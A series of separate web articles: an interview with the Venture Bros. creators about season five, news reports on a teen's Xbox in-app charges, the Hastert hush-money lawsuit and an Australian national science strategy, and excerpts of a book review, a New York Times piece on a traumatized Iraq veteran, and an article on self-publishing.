But seen up close, they are human and vital, their struggles are real—and given the opportunity, they can make a difference. Possibly only for a little while, but perhaps that’s better than nothing.  I have much, much more to say about The Peripheral, but to go any further requires a spoiler warning. For that, a second post will be coming soon.  The Peripheral is available October 28th from Penguin Books.  Karin Kross hasn’t updated The Gibsonian Institute in a while, but is excited about all the potential material from The Peripheral. She can be found elsewhere on Twitter and at hangingfire.net.
-The Venture Bros. entered into its fifth season with its characters in a state of uncertainty. Dean Venture, the oft-cloned son of Dr. Rusty Venture, had discovered his past as a freak of science with dubious claims to reality; Rusty was struggling with how to raise his sons the right way after years of adventuring and fatalities; Sgt. Hatred, the family’s former arch-nemesis and current bodyguard, had to face shifting physical realities; and Hank Venture was, well, Hank Venture. But the fifth season also found Jackson Publick and Doc Hammer, the creative team behind the series, at the top of their game. Mixing a rich, complex mythology inspired by comic books and pulp serials with complex, vulnerable leads, the co-writers managed to find a new balance for show’s ongoing storylines without betraying anything that had come before. With its teen angst, super-villain conspiracy, gender-bending, and robot dating, the fifth season could get a little messy, but the core concern with character, one of The Venture Bros.’ hallmarks, remained. The A.V. Club talked to Publick and Hammer recently about how the shorter episode order affected their approach to writing for the show, their views on best way to serialize, and how to find the success inside of failure.  The A.V. Club: At nine episodes, this season was the shortest the show has done so far. What prompted that?  Advertisement  Jackson Publick: It was shorter by design and as part of our new contract once we decided to do a fifth and sixth season. We actually asked to do only 10 episodes each time, because 13 was kind of killing us, and other shows seem to do them in, like, nine- or 10-episode spurts. So we figured that would be a better way to not get us overwhelmed during the season, and also to try to shorten the space between seasons. But then we ended up airing one of them early, and we ended up combining two of them into an hour-long episode, so it looks like it’s eight. But it’s still 10 half-hours. And it was easier to produce. But we ran out of episodes. We kind of wished we could’ve had 12, honestly. By the time we got to the end, we were like, “Shit, we’ve got a huge thing we want to do that would take two episode slots.”  Doc Hammer: If we’d had 12, people would’ve said, “How come there are only nine episodes?”  JP: [Laughs.] Yeah, yeah. Because that one would’ve been an hour long also.  DH: So, we’d still get yelled at.  AVC: Did the shorter episode order change your approach to structuring the season?  Advertisement  JP: A little? I don’t think it had anything to do with the 10-episode thing, but we did kind of plan out the season a little more than we usually do. We had the big board going. And also knowing that we had a season six kind of planned—because we knew where we wanted to go with season six, even before we started season five—and where that sort of midpoint is, and where the changes happen, is something we thought about. But when you’re actually going and you’re writing, it’s like, a script is always due, and there’s a lot of pressure, and once you’re actually in production, you’ve just got to write the one you can—not the one that necessarily should be next. So we write out of order. One or two stories sort of popped up out of nowhere, and we did them, and they weren’t necessarily part of the “plan,” but they were writable, and we wanted to write them.  AVC: Like what?  JP: “Bot Seeks Bot” was like a joke, you know? It was almost a dare. It was something we had joked about wanting to do an episode about. We didn’t have a story. We were like, “Wouldn’t it be funny to get those two robots together, and just drag people through a whole episode of them?” It was just kind of a running joke with us. And then one day, a story literally popped into my head, and I went, “Oh my God, I got it.” [Laughs.] So that one had to be written.  Advertisement  AVC: How important to the season was letting Dean know that he was a clone?  DH: Well, Jackson and I had it written out on the big board, which is just a giant dry-erase board in the AstroBase, that Dean finds out early, and Hank finds out near the end. That was how we did it. The Halloween episode was written to be an early episode, but it ended up being a special. So Dean found out before the season started that he was a clone. But in our original concept, in the way we were writing it, Dean found out very early.  JP: Because of what we did with him in the prom. We knew that Dean was going to spend the season in a black speed suit being really upset. And it seemed natural to give him a better reason than just he had his heart broken in the prom episode.  Advertisement  DH: It helps to have a really dividing motivator for Dean. Our constant battle is turning the boys into very separate entities. If you watch the pilot, they’re the exact same person. Throughout the first season, they’re very similar. They’ve just been kind of dividing ever since. So this season, there’s a clear division between these two boys. Hank’s got a very steady voice, and Dean now has a steady voice. So when we go into the sixth season, the boys can be separate, which is fun for us.  JP: Yeah, Hank had his rebellion season in season four, and then came back around to who he always was in a way.  DH: Yeah, this is Hank’s try-out season.  JP: But he is two minutes older, so of course he’d go through his rebellious phase first.  Advertisement  AVC: Given how much of the show’s humor has come from the Venture brothers’ obliviousness, how did you decide to leave that behind?  DH: It’s hard to keep it around. I mean, that is something that’s hard to write for forever. The show evolved as we evolve.  JP: I mean, we did make a conscious decision at the end of season one to start making them much more individual. But as far as pulling them away from some of the dopiness, or at least finding a different angle on it, that was just natural; you just don’t want to write for two idiots all the time. And also, they’re teenagers—like, you want them to be capable of sarcasm and stuff like that with each other. They’ve got to feel like real people, even if they’re heightened.  Advertisement  DH: You get a lot of space when you murder them. [All laugh.] At the end of season one, we actually killed them, so at that point—  JP: Right, so when we bring [Henchman] 24 back, he’ll be a very different character. He’ll have grown a lot.  DH: Yeah. In season six, which is all prequel. [Laughs.]  AVC: Dean was more negative this year than he’s ever been on the show: dressing in black, being openly sarcastic to his dad, while still being the same old Dean. How hard was that to balance?  Advertisement  DH: I wouldn’t call it “hard,” but we had a lot of discussions about that.  JP: It’s the same thing with, like, Henchman 21. We made him a badass, and we put him through his shit, but he’s still who he is underneath it. It’s how we naturally write for these guys; we’re just shading their circumstances a little different and letting them breathe just a little more.  DH: And with 21, he had a whole season to become competent, badass, and then eventually leave. Then [he] spent this season returning to who he is, so you never get this sense that he just changes who he is and becomes a completely different person. He’ll always be that person. Dean’s the same thing. When people go through rebellion, they don’t change and become somebody else. They just take all those things that have happened and incorporate it into who they are. They’re still the same person. Dean is systemically the same person.  Advertisement  JP: Joe Piscopo became a bodybuilder, but he stayed funny.  DH: Same with Carrot Top. They’re hilarious. When Dean works out, that’s the end of Dean. [Both laugh.] He’ll hit 40 and start working out.  AVC: Did you ever consider having Dean confront his father about the fact that he’s a clone?  Advertisement  DH: Oh, it’s been considered, but we’re not finished writing the show. I mean, his rebellion is going to keep moving forward, and I’m sure it’s going to start settling, because you’re not always in a stage of rebellion.  JP: Right. And now that Hank knows … There was a scene from one episode that got cut, actually, where there was a bit of a confrontation. But it just wasn’t time yet.  AVC: One of the season’s best episodes, “Momma’s Boys,” brought back Myra, the former bodyguard convinced she’s Hank and Dean’s mother. The lack of maternal presence in this show has been important in shaping these characters. Do you think you’ll ever reveal who the Venture brothers’ mother is?  Advertisement  JP: Well, I’m not going to answer that—  DH: See, what we’re going to do in the future is impossible for us to answer. But we like other motherless worlds. It comes from this kind of ’70s-cartooning motherlessness. Like Jonny Quest just had a lack of females, and any female that was there was just somebody’s love interest and vaguely—even those that weren’t voiced by a man, you watch them, you get a sense they might as well have been voiced by a man.  JP: [Laughs.] Right, like Jade from Jonny Quest.  DH: Yeah, anybody could just go, “Ohhhhh.” It isn’t necessary to have a female show up.  Advertisement  JP: I think there’s a lot going on with that. It’s inspired by the boy-adventure stuff when there were no moms around, but once we became aware of it, I mean, it’s part of why these people still live in this kind of adolescent world. They’re unsupervised, and they grew up like that.  DH: Rusty had no mom, and his boys have no mom, and that’s two generations. And Jonas, we haven’t said yet. That’s not a lot of moms, and the women that are in the Venture universe are either completely unhinged or the most stable characters on the show. Everything is very schmucky and middling with these guys, and the women just bookend it. It’s a strange thing. I don’t even think we did it intentionally. It’s just where a woman’s voice plays into our stories is to be either very dominant or a really upheaving voice, like Myra. She comes in and makes a complete fucking mess and then disappears.  JP: Because if there were any genuine women in this world, if any of them got real wives or girlfriends, they’d stop doing this stuff, with the exception of the Monarch, the way the rest of us stop reading comic books when that happens. [Laughs.] But now it’s cool for girls to read comics, so.  Advertisement  DH: The strange lack of women—we have a very strange dominance of gender-role-shifting. Three of our characters have breasts; we have a large homosexual cast. The amount of just messing around with stereotypical gender roles without women there—we do it to a degree that’s strange. I’m surprised more people don’t speak of it. We really do mess with masculinity and femininity, even with the women. Our biggest female character has an incredibly masculine voice that people seem to be okay with. People seem to be okay with Hunter’s removing of his penis and putting his penis back, missing being a woman; Hatred’s sexuality is a complete catastrophe. It’s not just the obvious women or lack thereof on our show. It really is just the gender roles on our show are insane, and therefore very sane, in my opinion.  JP: It’s a sexual Lord Of The Flies.  [pagebreak]  AVC: Would Hank’s use of the “sexy” female body armor, starting in “SPHINX Rising,” be part of this?  Advertisement  DH: Oh that falls into both Hank having breasts and Hank completely not caring about his gender role. And the fact that Hank plays dress up more than anybody.  JP: It’s also like getting the best bike ever. It just happens to be a lady’s bike. He doesn’t need that bar in the middle; he’s fine with it.  DH: When you’re a Hank, and somebody gives you a new bike and it’s super cool and it’s a lady’s bike, he buys a dress so he can make it fit. [JP laughs.] Because he has the area. He doesn’t care. “Now I can wear a dress. It’s fine.”  Advertisement  JP: “I can wear a kilt and a dress.”  DH: “I can double my wardrobe, and have the convenience of a dress. It’s a one-garment wardrobe, like a speed suit with no legs, that you can poop out of.”  AVC: By the end of the season, Hank comes across as the most together guy on the show in a lot of ways. That seems to connect with the way the season overall had more success for the characters. Was that a choice, to have more success in a show about failure?  Advertisement  DH: I don’t think Hank comes off as the most successful. Hank is the most balanced person on the show, but he’s still Hank. He’s still the kind of person that, when the chips are down, he dresses up as Batman. That’s not exactly the most successful.  JP: He’s not sane, but it’s that insane response to an insane world. That was kind of a revelation that we had. We enjoyed writing for Hank because he could be crazy, but then we did realize one day, Hank’s just cool with everything. Probably mostly when we were talking about what’s up with Dean. We realized, you know, what a good kind of counterbalance Hank’s just level-headedness about everything is—his crazy level-headedness. He rolls with the punches. He does enjoy the adventure aspects of their life that Dean is so sick of, and that Rusty hates, that he thinks are a drag; those are the best part.  DH: Hank’s just all in.  JP: He’s in.  DH: It doesn’t matter what the event is. Hatred shares a lot of that with Hank. That Hatred’s excitable, and he’s in.  Advertisement  JP: That’s probably why they got along after a while.  DH: And why Hatred feels especially affectionate towards Dean, because he is so different. That’s the challenge for Hatred. Hatred’s affection for Hank is incredibly friendly; they’re very similar people. But if you watch the episode, even from when Hatred first shows up, he’s very protective and affectionate towards Dean, because he registers that Dean is kind of a broken kid. And Hatred, of course, has no ability to fix that, which is the joke.  JP: But as far as what you’re saying, that this is just an upbeat season, a little more successful—I don’t know.  Advertisement  DH: Were you conscious of that, Jackson?  JP: Yeah. I think there were moments where we wanted… I think you and I are both sick of every interview mentioning the “It’s a show about failure” from five years ago. I don’t think we made a conscious effort to fight that or anything, but every year, we push what we do as writers a little more. An area we hadn’t gone into very much was positivity. I mean, all our victories are still satiric, but there are definitely places where we said, “I want to see these guys do something. I don’t want to just have everything fall on its face all the time.” Am I wrong?  DH: No, I get that sense too. But there are still these moments of playing with what failure is. I don’t think our failure was ever, “These people are incompetent.” I think our failure was they’re so terribly human in a world of comic book inhumanness, and that’s kind of our long joke. These people are stuck in a world that could only exist in an inhuman Saturday morning show, and they’re real. It’s a big mess. So you have 21, who I don’t think really succeeded, but you get a sense at the end of the season that he’s a good person, that he’s good at things, and at the end, he just goes back to what he knows. He goes back to what he loves. I don’t see that as a failure, but I don’t see it as a success. I see it as a guy being real in an unreal world.  Advertisement  JP: I would say we were celebrating humanity a little more? Maybe that’s what you detect is a slight tone of kind of celebrating the humanity, or celebrating the beauty of failure, to go back to that quote. I think the tipping point for us might have been the prom episode, when we realized we could just have kind of a nice ending where everybody was together, and not go, “Here’s a cliffhanger,” or “Here’s a big, horrible thing.” Yes, the fly women are freaking out, and Dean says “Fuck you,” but there was a sweetness to the ending of the prom—a really compromised, Venture-style sweetness.  DH: Yeah, for “Dean’s accidentally in the KKK,” it’s adorable. [Both laugh.]  AVC: “Spanakopita!”—the episode that has Dr. Venture going back to a Greek island where the natives made up a festival for him—seemed like a great expression of this. It’s neither success nor failure; it’s just sort of acceptance.  Advertisement  JP: Yeah. We were excited about episodes like that, particularly because there’s a deep tragedy to that, at the heart of that episode. [Rusty] was abandoned by his dad, and nobody came to get him, and these poor bastards who kidnapped him tried to make the best of it, in that Life Is Beautiful kind of way, and this idiot kept believing it for 30 years. But he gets to have it. They let him have it.  DH: It’s a sweet delusion. A lot of Doc’s life is a sweet delusion. Ted [the talking teddy bear toy Doc believes is his best friend in “Momma’s Boys”] was a sweet delusion. The Ted episode and “Spanakopita!” were very similar; they both ended with that sense that we lost everything, but it seems to be okay. Also, the sweet delusion. Dr. Venture really is deluded. He’s barely a successful scientist; he’s living off the back of his father, and he always has been, but at the same time, his father threw that crap at him, he destroyed his life, and Doc is doing what he can with it. He’s not a wholly tragic character.  AVC: The Guild versus the O.S.I. seemed to heat up this season.  DH: We would’ve loved to keep going with that, but we ran out of time.  AVC: There was a big buildup that was left hanging by the last episode.  JP: Well, we knew what we were going to do with it, and we were going to do it in the next episode, but there was no next episode. The next episode you see, we’ll deal with that, I think.  Advertisement  DH: The episode that aired last, which works in a weird, ersatz version of a finale—but that was written as the penultimate episode. We were going to do three that just kind of dovetailed into each other. We keep doing something new every year, do something that we didn’t try before, and our last three episodes were picking up after the last one. So the last two you got to see, it ends, and then it picks up right where it ends, and we were going to do that three times and have a big ending. And then, well, we had to write the première, and the première turned out to be an hour, and there goes an episode.  JP: We had two half hours left, and our options were write a half-hour première and a half-hour finale, write an hour première, or write an hour finale. We had a bunch of business we hadn’t written for the première yet that just had to be done, so we definitely had to do that. Then that story got huge, so it was a more sensible option than trying to cram the finale into a half hour, or trying to write two totally different stories when we were getting really close to the end of our deadlines.  DH: We got okay with the idea that the heat up between The Guild and O.S.I., which is secondary to the show—the show’s really about the Venture family—we figured it would be okay to let that build up and then walk away from that until next season when people can be anticipating the buildup.  Advertisement  JP: The last episode is really the next day. Whatever shit’s going to go down as a result of the “Bot Seeks Bot” stuff would take more than a day. It was good to bring the focus back to the family for the very last episode, because not a lot of episodes this season were about Doc, Hatred, Dean, and Hank as all carrying equal screen time.  DH: Jackson and I think in episode flows, too. We intentionally write episodes that feel breezy and a little less intensive of plot. We will intentionally write an episode that really moves forward this long arc plot that we have. Some people understand what we’re doing; other people watch it and be like, “I don’t care about this episode,” because it’s not about the long story that we’re telling. But we do it intentionally. It’s the way we like to watch our show is to have it kind of go up and down and flow and return to basics and get heated up and give you things to follow over the long course, and then give you just a small story when you get to see the Monarch again. We’re interested in our show like a book. It has its chapters that go in and out.  JP: Yeah, and we’re not interested in making a 10-part miniseries, just like we’re not interested in making 10 standalone sitcom reset episodes. It’s the mixture of the two that we get off on. When you look back at a full season and you see that, you’re cool with it. Maybe while you’re watching it, you’re like, “Oh man, this episode doesn’t answer my questions.” But as a whole, the seasons work really well. They’re nicely balanced.  Advertisement  AVC: Serialization has become increasingly prevalent on television in the last two decades. Are there shows you look to as a model for what you do, or do you just follow your own way?  DH: I think we’re more of a part of it than we are using them as a model. I think we just have the same opinion. It’s not necessary that shows have to be like I Love Lucy, where it starts again like it’s the first episode. It’s just not necessary. So we can tell longer stories. At the same time, we don’t write a soap opera. This is not Falcon Crest. So we don’t feel we have to pick up where it goes. There are stories from somebody’s life. You have days where your story is just being right there, it’s what happened that day, and then you have another day when it’s picking up with a story that started earlier. We run it just like life. We pulled out a character who was a semi-main character this season that was in our show six years ago. That’s like life. People come in and out of your life.  JP: We’ve always implied how much shit is going on off-camera. That was part of the joke of the show at one point, which was like, probably the coolest adventures we’re not going to get to see, we’re seeing some of the in-between time. A lot of that was just inspired by the boys’ adventure novels that inspired me early on. It’s as if you’re grabbing book 29 of the hundred-volume Venture Bros. adventure series, and then you don’t necessarily grab book 30 after that. You skip around.  Advertisement  DH: Sometimes book 29 is the one that they spend all of the time at the kitchen table building a robot.  AVC: This show has a complex mythology. In “O.S.I. Love You,” Monstroso tells Brock Samson that the Sovereign is, in fact, not the real David Bowie, but a shape-shifter who takes on David Bowie’s appearance. Would this count as a retcon? And how much do you try and keep the mythology consistent?  JP: First of all, you don’t even know if he’s lying. So we can’t really talk about it.  Advertisement  DH: You’ve got to remember that, the first thing when you found out that David Bowie is the Sovereign, he also turned into a bird. I’m a huge Bowie fan, but I’ve never seen him turn into a bird. That just never happens. To say that he’s “David Bowie,” is he David Bowie only from Labyrinth? How is that possible? It’s not a “retcon” at all. And also Jackson is a hundred percent correct. It took us four years for people to stop wondering if Dr. Girlfriend actually had a baboon’s uterus because somebody was mouthing off at a yard sale. What we clearly said was spinning rumors, and our audience, instead of making a comment on rumors, goes, “Fact! It’s a fact!” We have a bunch of real people, and they’re going to say whatever they want to say. Sometimes they lie, and sometimes they’re just plain wrong.  JP: Retconning is the name of this game, man. [All laugh.] In the bigger picture, we’re constantly doing it. As long as we do it smart—you have to keep surprising people, and things are never what they seem, and stuff like that. We’ve done a lot of stuff that we knew a long time ago was going to turn out the way it did, and it just took us forever to reveal things little by little. We’ve built new mythologies inside of what we already did. I’m not going to tell you which ones are which.  DH: I doubt there isn’t an author who doesn’t retcon. Even nature herself retcons. Evolution is based on the idea that you have to roll with the punches and change shit when it works better.  Advertisement  JP: Ah, evolution’s a theory, my friend.  DH: No, evolution’s been proved by genetics, my friend. Oh, I don’t want to offend all the people who—oh, whatever. [Both laugh.] The way it works, even the normal evolution of a life—that has nothing to do with how the world started, how you evolved as a person—is full of retcon. The only time I think we should talk about retcon is when somebody has a change that becomes impossible because they had stated that that was impossible early on. We’ll try to avoid that. But yeah, we fuck up the show constantly. Any time somebody gets on the Internet and says, “I bet it’s this,” Jackson and I phone each other and go, “Well, it’s not that anymore.”  JP: Yeah, when they guess something we haven’t revealed yet correctly, we look for the nearest way around that.  Advertisement  DH: And happily consider it a challenge.  AVC: Do you have any idea when the show will be back for season six?  DH: We’re shooting for somewhere in 2015. We don’t want it to go too long. We were trying to get it in the end half of 2014.  Advertisement  JP: We’re trying to get it to mid-fall of 2014. Very early 2015 might be more realistic, but we may end up with something like we did this time, where we release a special, or we release one earlier, and then rest comes on early the next year. We’re starting production next month. I think we get our first takes of episodes back from Korea in June or July of next year, and you’ve got to go through three takes and 10 episodes, and all of post-production. I think we only start turning finished episodes in to the network in September, so that makes it tricky to put on before the end of the year.  DH: We’re trying.  JP: We’ll figure something out. I would say, the smart money is on January/February of 2015, maybe with some surprise earlier than that.  Advertisement  DH: That people can remove entirely from our canon and yell at us that our season’s short.  JP: Yeah, and tell us that it doesn’t exist, and that it was five years between seasons.  DH: That we went out of our way to make sure they had something, and then they can tell us, “Unnnnh.”  Advertisement  JP: We know it was a long wait.  DH: When they complain, we know it really means that they love us, and we like that. We like that they complain that it’s a long time, because it means that there are a bunch of people waiting for us to do it, and that’s kind of a nice compliment.
-Smooth move, Xbox.  Pembroke, Ontario parent Lance Perkins got the shock of a lifetime on Dec. 23 when he discovered his 17-year-old son had racked up nearly $8,000 on in-app purchases through his Xbox video gaming system.  Related: Man sues after losing wife, job to video game addiction  Perkins told CBC News that the credit card his son used was designated for emergencies and to make purchases for the family’s convenience store. According to Perkins, his son thought the bill, which totaled $7,625.88, would be a one-time charge for a purchase he made for a FIFA series soccer game.  Perkins said, “He’s just as sick as I am, [because] he never believed he was being charged for every transaction, or every time he went onto the game.”  Related: Games, hardware, and everything unveiled during Microsoft’s E3 conference  When he reached out to his credit card company, Perkins was told that nothing could be done unless he wanted to charge his son with fraud. Xbox agreed to look into the matter after learning Perkins’ son was a minor, but he hasn’t heard back since.  While the FTC has measures in place that protect consumers in the U.S. from exorbitant billing, the rules in Canada are a bit more lax.  More from FoxNews.com Tech:
-The man at the center of Dennis Hastert's stunning downfall may remain anonymous — for now — in his lawsuit alleging the former U.S. House speaker failed to pay the full financial settlement they agreed upon in exchange for his silence about sexual abuse, a Kendall County judge said Thursday.  Judge Robert Pilmer did not rule on the merits of the breach-of-contract suit, filed just days ago. But, in a brief court hearing, the judge said he will allow the litigation to proceed temporarily under the pseudonym James Doe, until it is refiled, under seal and not open to public inspection, with the man's full name included.  The move would allow more time if Hastert's attorneys choose to object. They did not attend court Thursday, nor did James Doe, known in federal court documents as Individual A.  His attorney, Kristi Browne, acknowledged the possibility her client someday could be compelled to testify. If that happened, Browne said, she "anticipates a quick appeal."  "He's a very private person, and this has obviously changed his life," she told reporters outside court. "He has to relive this trauma every time this is in the news."  The court hearing came the morning after Hastert, 74, was sentenced to a 15-month prison term for a federal banking violation related to the hush money payments to Individual A. At least five students involved in Hastert's wrestling program, including an equipment manager who is deceased, alleged at some point their coach sexually abused them at Yorkville High School in the 1960s and 1970s.  Hastert began his political life in the early 1980s, leaving behind his job as a teacher and coach. His final victim may have been Scott Cross, a younger brother of former Illinois House GOP leader Tom Cross. Now 53, Scott Cross read an emotional victim-impact statement at Wednesday's sentencing detailing a one-time incident in the fall of 1979 in which he said Hastert sexually abused him during a massage after wrestling practice one night in the school's locker room.  U.S. Attorney Zachary Fardon addressed the news media after former U.S. House Speaker Dennis Hastert was sentenced to 15 months in prison on April 27, 2016. (Antonio Perez / Chicago Tribune) U.S. Attorney Zachary Fardon addressed the news media after former U.S. House Speaker Dennis Hastert was sentenced to 15 months in prison on April 27, 2016. (Antonio Perez / Chicago Tribune) SEE MORE VIDEOS  Prosecutors said the statute of limitations kept them from pursuing child molestation charges. Instead, Hastert's undoing came from his efforts to conceal the reason he had agreed to pay another former wrestler — Individual A — $3.5 million. The payments began in 2010 and continued for four years until federal authorities questioned Hastert about irregular bank withdrawals. He pleaded guilty last fall to intentionally illegally structuring the withdrawals to avoid scrutiny.  Individual A, a married father who in the 1970s was a standout student-athlete whose family had close ties to Hastert, argues in his lawsuit that Hastert still owes him $1.8 million — plus accrued interest — as part of the out-of-court settlement agreement. He alleges Hastert rejected his suggestion that they put it in writing and promised "to pay every last dollar," the lawsuit said. But Hastert stopped payment after federal authorities questioned him in December 2014 about his withdrawals.  Hastert has admitted sexually abusing Individual A during a one-time incident when the then-14-year-old boy attended an overnight wrestling camp and hadn't yet started high school. He filed the lawsuit under James Doe, saying the use of his real name would cause "great psychological damage to him in the form of shame and embarrassment."  Individual A has declined Tribune requests for comment. Browne, his lawyer, said his right to privacy given the "highly sensitive" issues in the case outweighs any public interest in knowing his name.  Individual A suffered panic attacks for years that led to "periods of unemployment, career changes, bouts of depression, hospitalization and long-term psychiatric treatment," according to the lawsuit. It said he never connected his problems to Hastert until 2008 when he learned for the first time that his former coach had also allegedly inappropriately touched someone else decades ago.  cmgutowski@tribpub.com  Twitter @christygutowsk1
-Chief scientist Ian Chubb unveils ambitious strategy to secure Australia's future prosperity  Updated  Australia's chief scientist has unveiled an ambitious agenda for change to increase the focus on science, technology, engineering and maths (STEM) skills to help secure the country's future prosperity.  Professor Ian Chubb AC has outlined a number of recommendations to the Federal Government in a national science strategy to build a more competitive economy.  His call for action involves a long-term strategic view from the classroom to laboratories and the boardroom to create and foster STEM skills, which he says are relevant to an increasingly wide range of occupations.  The strategy outlines a broad approach across four main areas, including building competitiveness, supporting high-quality education and training, maximising research potential and strengthening international engagement.  Professor Chubb said the strategy begins in the classroom, starting in primary school.  "If we've got young people coming through the system who are interested in science, fascinated by science and understand how awesome science can be, then we'll be better off for it," he said.  He has recommended that every primary school have at least one specialist maths and science teacher – a policy already used in Victoria and South Australia.  "It means we've got to support our teachers – we've got to prepare them better," he said.  If we don't get (a national strategy) soon, then we will be left behind to the point where we would be barely worth cooperating with except in very selected areas. Professor Ian Chubb  "I think we haven't done that well over the last decades, and that's really where the whole thing begins."  Professor Chubb said he hopes the strategy will address the declining numbers of students taking intermediate and advanced maths in years 11 and 12, as well as the shortage of qualified maths and science teachers.  He did not, however, recommend that maths should be made compulsory for students in years 11 and 12.  "There's not much point making something compulsory if it's not actually attractive," he said.  "I would much rather make these subjects so compellingly interesting that students want to do them."  Industry Minister Ian Macfarlane has officially launched the strategy, saying the Federal Government is "very conscious of that fact that science is essential to building the future of Australia".  "We are focused on building the connections between business and science... right at the heart of our industry policy is science and research," he said.  Mr Macfarlane says businesses do not think to collaborate with scientists.  "They just don't think of scientists as being part of their solutions and scientists need to improve your front-foot ability and push your relevance in the community because if you don't, no one else is going to," he said.  He says the Government has been working hard to build those connections but science has allowed itself to get pushed out of the community's awareness.  "If you're feeling a little irrelevant in the community, the answer is make yourself relevant," he said.  "Make people understand that science is more than just fixing sick children. That actually you're solving day to day problems for them every day."  Australia remains only OECD country without science strategy  The chief scientist also recommended incentives, including promotion and remuneration, to boost numbers of qualified teachers, and said students and businesses should be made aware of the value of study in the areas of science, maths, technology and engineering.  Professor Chubb said Australia remains the only OECD country without a science strategy.  He said such an approach needs to be adopted to ensure Australia does not fall further behind other countries.  Sorry, this video has expired Video: National Science Strategy aims at better economy (ABC News)  "I don't think we've left it too late, but I do think that you could leave it too late," he said.  "Nearly every other country we would compare and contrast ourselves with has some sort of strategy, some sort of plan – either for the technology, for innovation, for science, sometimes for all three.  "If we don't get one soon, then we will be left behind to the point where we would be barely worth cooperating with except in very selected areas."  Professor Chubb said Australia must build stronger networks with other countries when it comes to science, research and education, and further develop relationships with the European Union and the United States.  "The opportunity is there to link much more strategically with other countries... I think we've got to be contributors in order to get a profit from work that's been done elsewhere," he said.  Professor Chubb called for the establishment of an Australian Innovation Board, based on a UK model, that would be run by industry collaborating with researchers and distributing finances.  "We don't have a lot of cooperation between our researchers and our businesses. We actually have to make a paradigm shift. This is not fiddling at the margins again and hoping that things will get better," he said  He said Australia has not had a whole-of-government approach in this area and it is something he has been focused on for some time.  "I've talked to a lot of people and nobody has said I'm silly to do this. So we'll just wait and see," he said.  "We need to think bigger. We need to think coordinated, we need to think strategically and we need to learn from what's been done.  "Other countries do it a lot better than we do.  "I'm not into legacies but it would be a good one if I were."  Maths institute says national strategy 'necessary'  The strategy has been welcomed by the Australian Mathematical Sciences Institute.  Institute director Professor Geoff Prince said a coherent national strategy is neccessary.  "We absolutely have to have one. We've got ourselves in the situation we're in through the absence of strategy and absence of strategy is not going to get us out that position," he said.  Professor Prince agreed that mandating maths subjects for year 11 and 12 students would not be productive, but said studying mathematics is beneficial in a number of ways.  "I'd like [students] to [study maths] because they were engaged and because it was something that was going to be good for their life skills and their career skills," he said.  He said the system is under-resourced, with 40 per cent of classes in years 7 to 10 not being taught by qualified maths teachers.  "I think we're actually in that vicious spiral where the numbers of maths graduates are being choked by the declining numbers of kids taking intermediate and advanced maths in year 12," he said.  "That's being choked because of a failure to staff schools with inspiring maths teachers, and inspiring maths teachers can't be had because there aren't enough maths graduates.  "It's at a critical level now and unless we act, it's only going to get worse.  "The consequences, I think, would be absolutely disastrous."  Topics: science, engineering, mathematics-education, federal-government, australia  First posted
-Ms. Knapp was called up to Iraq, but Mr. Dwyer insisted on taking her place, because she was a single mom. He had no children at the time, and besides, he had enlisted right after 9/11 just for this. He went and stunned everybody by getting his picture all over the newspapers and TV.  Photo  A few months later, he was home. He was shy about his celebrity. He was also skinny and haunted. Ms. Minor said he was afraid. Ms. Knapp said paranoid was more like it.  It didn’t help that El Paso looked a lot like Iraq. Once he totaled his car. He said had seen a box in the road and thought it was a bomb. He couldn’t go to the movies anymore: too many people. In restaurants, he sat with his back to the wall.  He said that Iraqis were coming to get him. He would call Angela and Dionne at all hours, to talk vaguely about the “demons” that followed him all day and in his dreams. He became a Baptist, doggedly searching Scripture on his lunch hour — for solace. His friends knew he was also getting high with spray cans bought at computer stores.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  “He would call me in the middle of the day,” Ms. Minor said. “I’d be like: ‘Why are you at Best Buy? Why aren’t you at work?’ I could tell he’d been drinking and huffing again.”  His friends tried an intervention, showing up at his door in October 2005 and demanding his guns and cans of solvent. He refused to give them up.  Hours later, gripped by delusions, he shot up his apartment. He was glad when the SWAT team arrived, Ms. Knapp said, because then he could tell them where the Iraqis were. He was arrested and discharged, and later moved to Pinehurst, N.C. His parents tried to get him help, but nothing worked. “He just couldn’t get over the war,” his mother, Maureen, told a reporter. “Joseph never came home.”  It’s not clear what therapy and medication could have saved Mr. Dwyer. He admitted lying on a post-deployment questionnaire about what he had seen and suffered because he just wanted to get back to his family. Ms. Minor said he sometimes skipped therapy appointments in El Paso. One thing that did seem to help, Ms. Knapp and Ms. Minor said, was peer counseling from a fellow veteran, a man who had been ambushed in Iraq and knew about fear and death. But that was too little, too late, and both women say they are frustrated with the military for letting Mr. Dwyer slip away.  Private Dwyer, who survived rocket-propelled grenades and shocking violence, made his way back to his family and friends. But part of him was also stuck forever on a road in Iraq, helpless and terrified, with nobody to carry him to safety.
-Written by Terri Giuliano Long for indiereader.com  Bookselling This Week just reported that brick and mortar booksellers are making it easier for self-published authors to garner coveted shelf space in their stores. With indies crossing into this and other territory usually staked out by the traditionally published, the battle between self-published and traditionally pubbed authors has heated up. Rumor has it, one big-name author even resorted to rallying fans, fuming about the deleterious effect eBooks have had on her income. Another traditionally published author went so far as to refer to self-publishing as “literary karaoke.”  The lines, it seems, have been drawn.  The “literary karaoke” slur notwithstanding, the stakes are less about the quality of indie books and more about the money indies are grabbing from their traditionally pubbed brethren. From the outcry, you’d think self-publishers were stealing and eating their babies—and, in a way, maybe they are.  While traditional publishers have seen an increase in overall profits, their mass-market and hardcover segments have been hard hit by burgeoning digital sales. According to the Association of American Publishers (AAP), in 2011 e-book sales rose 117%, generating revenue of $969.9 million, while sales in all trade print segments fell, with mass-market paperbacks plunging by nearly 36%.  As sales decline, industry leaders worry that some houses may focus on the more profitable hardback format, publishing paperback editions of only their highest grossing titles. For conventional authors, especially mid-listers, this would be a significant blow. As Rachel Deahl reports in Publisher’s Weekly: “ . . . the shift will kill the much-needed second bite books get at the marketing and publicity apple.”  If e-books are causing the ruckus, why focus all the ire on indies?  Fact is, most people buy a book for one reason: they want a good read. Assuming the book delivers, they don’t care who published it; many don’t even notice. With publishing cachet exerting less influence on purchasing decisions, price has become more of a factor. In a depressed economy, it’s only natural to look for a deal—and indie authors offer one. With greater flexibility and lower overhead, self-publishers can afford to sell their e-books for a fraction of the price charged by large publishers.  Now, in addition to declining paperback royalties, traditional authors face stiff competition from inexpensive self-published e-books. No wonder they’re angry.  Nevertheless, casting 